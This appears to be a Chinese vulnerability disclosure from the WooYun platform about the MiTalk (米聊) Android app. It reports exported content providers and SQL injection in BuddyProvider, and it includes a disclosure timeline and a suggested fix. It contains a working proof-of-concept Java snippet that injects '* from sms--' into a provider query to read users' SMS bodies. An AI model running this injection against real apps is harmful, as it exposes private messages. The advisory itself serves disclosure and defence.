漏洞概要 关注数(24) 关注此漏洞
>
漏洞详情
披露状态:
2013-10-31: 细节已通知厂商并且等待厂商处理中
2013-11-05: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2013-12-30: 细节向核心白帽子及相关领域专家公开
2014-01-09: 细节向普通白帽子公开
2014-01-19: 细节向实习白帽子公开
2014-01-26: 细节向公众公开
简要描述:
米聊Android版敏感信息泄露
详细说明:
米聊多处content provider暴露
<provider android:name=".providers.BuddyProvider" android:readPermission="com.xiaomi.channel.READ_BUDDY" android:writePermission="com.xiaomi.channel.WRITE_BUDDY" android:exported="true" android:authorities="com.xiaomi.channel.providers.BuddyProvider" />
再利用SQL注入的方式能够访问到数据库中其他的表
代码如下:
我们以.providers.BuddyProvider为例说明下。
首先权限声明如下:
<permission android:name="com.xiaomi.channel.READ_BUDDY" />
<permission android:name="com.xiaomi.channel.WRITE_BUDDY" />
<uses-permission android:name="com.xiaomi.channel.READ_BUDDY" />
<uses-permission android:name="com.xiaomi.channel.WRITE_BUDDY" />
private void getmiliao(){
int i = 0;
ContentResolver contentresolver = getContentResolver();
String[] projection = {"* from sms--"};
Uri uri = Uri.parse("content://com.xiaomi.channel.providers.BuddyProvider/buddy");
Cursor cursor = contentresolver.query(uri, projection, null, null, null);
String text = "";
while (cursor.moveToNext()) {
text += cursor.getString(cursor.getColumnIndex("body")) + '\n';
}
Log.i("TEST",text);
}
另外其他两个暴露的也要主意下
<provider android:name=".providers.BuddyStatusForPhoneProvider" android:exported="true" android:authorities="com.xiaomi.channel.providers.BuddyStatusForPhoneProvider" />
<provider android:name=".providers.MessageStatusProvider" android:exported="true" android:authorities="com.xiaomi.channel.providers.MessageStatusProvider" />
漏洞证明:
修复方案:
content provider做下限制,以及防止恶意注入sql
版权声明:转载请注明来源 一灯大师@乌云
>
漏洞回应
厂商回应:
危害等级:无影响厂商忽略
忽略时间:2014-01-26 09:37
厂商回复:
最新状态:
暂无